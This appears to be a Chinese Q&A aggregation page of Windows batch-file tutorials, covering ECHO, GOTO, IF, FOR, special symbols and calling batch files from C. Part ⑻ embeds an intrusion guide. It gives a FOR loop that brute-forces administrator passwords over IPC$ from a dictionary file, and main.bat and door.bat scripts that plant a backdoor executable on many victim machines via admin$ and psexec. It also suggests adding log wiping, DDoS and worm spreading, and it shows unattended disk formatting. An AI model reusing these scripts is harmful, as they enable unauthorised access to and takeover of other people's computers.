導航:首頁 > 程序命令 > c批處理命令

c批處理命令

發布時間:2022-08-08 01:40:33

⑴ 能不能在c語言中調用批處理命令,並讓批處理執行窗口後台運行求編程高手幫助!

system("123.vbs");

⑵ 常用的批處理的命令

各位非常批處理的朋友們,現在我們開始學習批處理新手系列教學的第一課!(適合沒有編程經驗的朋友)

按照慣例,先講一下什麼是"批處理".顧名思義,批處理就是把一批或者說是一條條命令放在一個文本里,然後批量執行!執行這

一批命令的文件的擴展名是BAT或者CMD,把任何一批命令放入在有這樣擴展名的文件里,執行時裡面的命令就會一條條的執行完,當然

我們還可以在其中加入一些邏輯判斷的語句,讓裡面的命令在滿足一定條件時執行指定的命令.

了解了大概意思後,我們正式開始學習.先看一個簡單的例子!

@echo off
echo "歡迎來到非常BAT!"
pause

把上面的3條命令保存為test.bat或者test.cmd然後執行,他就會在屏幕上顯示二行話:"歡迎來到非常BAT!請按任意鍵繼續. . ."
這就是一個簡單批處理文件了,我們來分析一下.

這個批處理文件一共就用了2條命令 "echo" 和"pause" 還有一個特殊符號"@"
@符號在批處理中的作用是關閉當前行命令的回顯,也就是不顯示執行的是什麼命令,只顯示命令的結果!
你可以執行下面這個批處理文件來理解,保存為*.bat或者*.CMD
@echo 你好
echo 你好
@pause

echo命令的作用有兩個,一個是在CMD上回顯一行內容.如:echo "歡迎來到非常BAT!",還一個是關閉命令的回顯:echo off
echo off的作用就相當於在每條命令前面加一個@符號,這樣所有的命令將只會顯示結果不顯示命令.
我們在echo off這命令前加一個@符號是為了不讓echo off這條命令本身顯示出來,讓批處理更完美!

pause命令就是暫停的意思,防止批處理執行完後直接退出!執行pause命令後會自動在CMD里顯示"請按任意鍵繼續. . ."這樣一行話!

從上面這個簡單的批處理中,我們可以發現其實批處理就是運用一些含有特殊意義的符號和一些完成指定功能的命令組合而成,那麼

在批處理中有多少這樣的特殊符號和功能命令呢?我們現在就來仔細了解一下一些最常用的!

(以下內容來源網路,請各位仔細閱讀,好進入下節的實例說明)

批處理的常見命令
REM
ECHO
GOTO
CALL
PAUSE
IF

還有(FOR,SETLOCAL,SHIFT)這幾個命令比較難,不適合寫在基礎篇,以後說明!

批處理定義:顧名思義,批處理文件是將一系列命令按一定的順序集合為一個可執行的文本文件,其擴展名為BAT。
這些命令統稱批處理命令。

介紹命令

1、REM

REM是個注釋命令,一般用來給程序加上註解,該命令後的內容在程序執行時,將不會被顯示和執行。

例:REM 這個命令就是注釋

這一句將不會被執行

2、ECHO

ECHO是一個回顯命令,主要參數有OFF和ON。一般用ECHO MESSAGE來顯示一個特定的消息。

例:
Echo off
Rem 以上代表關閉回顯(就是不顯示所執行的命令)
Echo 這個就是消息(message)
Rem 以上代表顯示「這就是消息(message)」這列字元

咱們來看看執行結果:

3、GOTO

GOTO會點編程的朋友就會知道這是跳轉的意思。
在批處理中允許以「:XXX」來構建一個標號,然後用GOTO XXX直接來執行標號後的命令。

例:

:lable
REM 上面就是名為LABEL的標號
DIR C:\
DIR D:\
GOTO lable
REM 以上程序跳轉標號LABEL處繼續執行

咱們來看看結果:

4、CALL

CALL命令可以在批處理執行過程中調用另一個批處理,當另一個批處理執行完後,再繼續執行原來的批處理

例:

創建一個2.BAT,內容如下
ECHO 這就是2的內容

創建一個1.BAT,內容如下
ECHO 這是1的內容
CALL 2.BAT
ECHO 1和2的內容全部顯示完成。

執行1.BAT,來看看結果:

5、PAUSE

PAUSE,玩游戲的人都知道,暫停的意思
在這里就是停止系統命令的執行並顯示下面的內容。

例:

PAUSE

6、IF

IF 條件判斷語句,語法格式如下:

IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command

解釋下:
[NOT]:將返回結果取反值,就是「如果沒有」的意思

ERRORLEVEL:
是命令執行完成後返回的退出值

Number:
退出值的數字取值范圍0~255,判斷時值的排列順序應該由大到小。返回的值大於等於指定的值時,條件成立

string1==string2:
string1和string2都為字元的數據,英文內字元的大小寫將看作不同,這個條件中的等於號必須是兩個(絕對相等的意思)
條件相等後即執行後面的command

EXIST filename:
為文件或目錄存在的意思

IF ERRORLEVEL這個句子必須放在某一個命令的後面,執行命令後由IF ERRORLEVEL 來判斷命令的返回值。

例:

(1)
IF [NOT] ERRORLEVEL number command
檢測命令執行完後的返回值做出判斷

echo off
dir z:
rem 如果退出代碼為1(不成功)就跳至標題1處執行
IF ERRORLEVEL 1 goto 1
REM 如果退出代碼為0(成功)就跳至標題0處執行
IF ERRORLEVEL 0 goto 0
:0
echo 命令執行成功!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:1
echo 命令執行失敗!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:exit
Rem 這里是程序的出口

(2)IF string1==string2 command
檢測當前變數的值做出判斷

ECHO OFF
IF 1==2 goto no
Echo 變數相等!
goto exit
:no
echo 變數不相等
goto exit
:exit

看看效果,敲擊這個命令1.bat 數字

(3)IF [NOT] EXIST filename command
發現特定的文件做出判斷

echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失敗!
goto exit
:exit

這個批處理大家可以放在C盤和D盤分別執行,看看效果

特殊符號:

1.@
2.>
3.>>
4.|
5.^
6.&
7.&&
8.""
9.,
10. ;

廢話少說,開講了

一、 @

這個字元在批處理中的意思是關閉當前行的回顯。我們從前幾課知道
ECHO OFF可以關閉掉整個批處理命令的回顯,但不能關掉ECHO OFF這個命令,現在我們在ECHO OFF這個命令前加個@,就可以達到所

有命令均不回顯的要求

1.bat
echo off
dir d:\

2.bat
@echo off
dir d:\

二、 >

這個字元的意思是傳遞並且覆蓋,他所起的作用是將運行的回顯結果傳遞到後面的范圍(後邊可以是文件,也可以是默認的系統控

制台)

比如:

文件1.txt 的文件內容是:

1+1

使用命令:dir *.txt >1.txt

這時候1.txt 內容如下

驅動器 C 中的卷沒有標簽。
卷的序列號是 3827-1BDD

C:\ 的目錄

2004-05-2500:57 17,755,907 Log.txt
2004-05-2615:21 3 1.txt
2004-05-2615:21 0 2.txt
3 個文件 17,755,910 位元組
0 個目錄 339,111,936 可用位元組

三、>>

這個符號的作用和>有點類似,但他們的區別是>>是傳遞並在文件的末尾追加,而>是覆蓋

用法同上

同樣拿1.txt做例子

內容是1+1

使用命令:dir *.txt >>1.txt

咱們來看看顯示的結果如何

四、|

這是一個管道傳輸命令,意思是將上一命令執行的結果傳到下一個命令去處理

例如:

dir c:\|find "txt"

以上命令是:查找C:\所有,並發現TXT字元串。
FIND的功能請用 FIND /? 自行查看

在不使format的自動格式化參數時,我是這樣來自動格式化A盤的

echo y|format a: /s /q /v:system

用過format的都知道,再格盤時要輸入y來確認是否格盤,這個命令前加上echo y並用|字元來將echo y的結果傳給format命令

從而達到自動輸入y的目的

(這條命令有危害性,測試時請慎重)

五、^

^是對特殊符號"<",">","&"的前導字元,在命令中他將以上3個符號的特殊功能去掉,僅僅只把他們當成符號而不使用他們的特殊意

義。

比如

echo test ^>1.txt

結果則是

他沒有追加在1.txt里,呵呵。只是顯示了出來

六、 &

這個符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗了,也不影響後邊的命令執行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令會連續顯示z,y,c盤的內容,不理會該盤是否存在

七、 &&

這個命令和上邊的類似,但區別是,第一個命令失敗時,後邊的命令也不會執行

dir z:\ && dir y:\ && dir c:\

八、""

雙引號允許在字元串中包含空格,進入一個特殊目錄可以用如下方法

cd "program files"
cd progra~1
cd pro*

以上三種方法都可以進入program files這個目錄

九、,

逗號相當於空格,在某些情況下「,」可以用來當做空格使

比如

dir,c:\

十、;

分號,當命令相同時,可以將不同目標用;來隔離,但執行效果不變,如執行過程中發生錯誤,則只返回錯誤報告,但程序還是會

執行。

比如:

dir c:\;d:\e:\;f:\

以上命令相當於

dir c:\
dir d:\
dir e:\
dir f:\


就說這些了!各位有什麼意見請回貼!有什麼疑問請到BAT交流區發貼!下一節改進!

⑶ 如何用C語言創建一個批處理文件

system("a.bat");

函數名: system

功百 能: 發出一個度DOS命令

用 法: int system(char *command);

程序例:

#include

#include

int main(void)

{

printf("About to spawn command.com and run a DOS command\n");

system("dir"); //這里就回是答DOS下的dir命令

return 0;

}

⑷ c語言中的編輯,編譯,連接,運行分別是什麼意思

1、編輯:編寫代碼,製作C語言的源文件。

2、編譯:是由編譯程序將C語言源文件轉換成二進制中間文件,對文件內部的語法語義做處理,如果編譯出錯,無法進行後續動作。

3、鏈接:將編譯中生成的中間文件組合成二進制可執知行文件,這一步會對文件之間的關聯做檢查,如果出錯,將不會生成可執行文件,也就無法執行。

4、執行:運行可執行文件,這一步道是編寫代碼的最終目的。

(4)c批處理命令擴展閱讀:

DOS命令通常分為三類:內部命令、外部命令和批處理命令。

1、內部命令:

其包含在命令解釋程序COMMAND.COM中,一旦啟動DOS,這些命令就被調入內存,只要在DOS系統提示符下輸入這些命令,就可立即執行。

2、外部命令:

其以文件的形式存儲在系統盤上,所帶擴展名為COM和EXE。DOS啟動時,它們並沒有被調入內存,執行前必須從系統盤讀進內存。因此輸入外部命令時,要了解該命令是否在當前盤上,不然DOS無法找到它們。

3、批處理命令:

實際上是個文件,該文件包含多條命令,當用戶鍵入批處理文件名時,DOS將順序執行其中的各條命令。注意,批處理命令必須用「.BAT」作為擴展名。

C語言的運算非常靈活,功能十分豐富,運算種類遠多於其它程序設計語言。在表達式方面較其它程序語言更為簡潔,如自加、自減、逗號運算和三目運算使表達式更為簡單。

當多種不同運算組成一個運算表達式,即一個運算式中出現多種運算符時,運算的優先順序和結合規則就會顯得十分重要。

網路-運行命令

網路-C語言

⑸ 批處理所有的命令

開始--運行,cmd,help>c:\help.txt,或者參考:

有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。

⑹ c語言 發送批處理命令如何讓其不顯示錯誤提示

sprintf(buf," f:\\hk\\*.* c:\\ >msg");改為

sprintf(buf," f:\\hk\\*.* c:\\ >msg 2>&1");把標准出錯重定向到標准輸出,由於你已經把標准輸出重定向到msg,所以最終所有結果都會重定向到msg

⑺ 刪除整個文件夾的批處理命令

@echo
off
for
/r
"C:\Documents
and
Settings\Owner\Application
Data"
%%i
in
(.)
do
if
"%%i"
neq
"C:\Documents
and
Settings\Owner\Application
Data\."
rd
/s/q/f
"%%i"
del
/f/q
*.*
第二句刪所有子目錄,第三句刪一級目錄下所有文件
/r後面的路徑是要刪除的路徑
不要弄錯了
不然你就爽了。。。

⑻ 批處理命令

平時收藏了好多,不過這里寫不下那麼多~ 需要的時候郵件發給你吧~

批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。

一.簡單批處理內部命令簡介

1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析*作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

在打命令前鍵入不敷出@echo
@表示不顯示本行
echo表示不顯示批處理文件運行時的窗口。

在批處理文件的第一行添加「@echo off」即可

一:
windows的命令行模式
(win+R)在裡面寫CMD就可以進入windows的命令行模式了
二 :
批處理文件
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。 (本文因篇幅較長,所以分成兩部份。前半部份講命令,後半部分講實例分析。)
一、簡單批處理內部命令簡介
1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on off}] [message]
Sample:@echo off / echo hello world
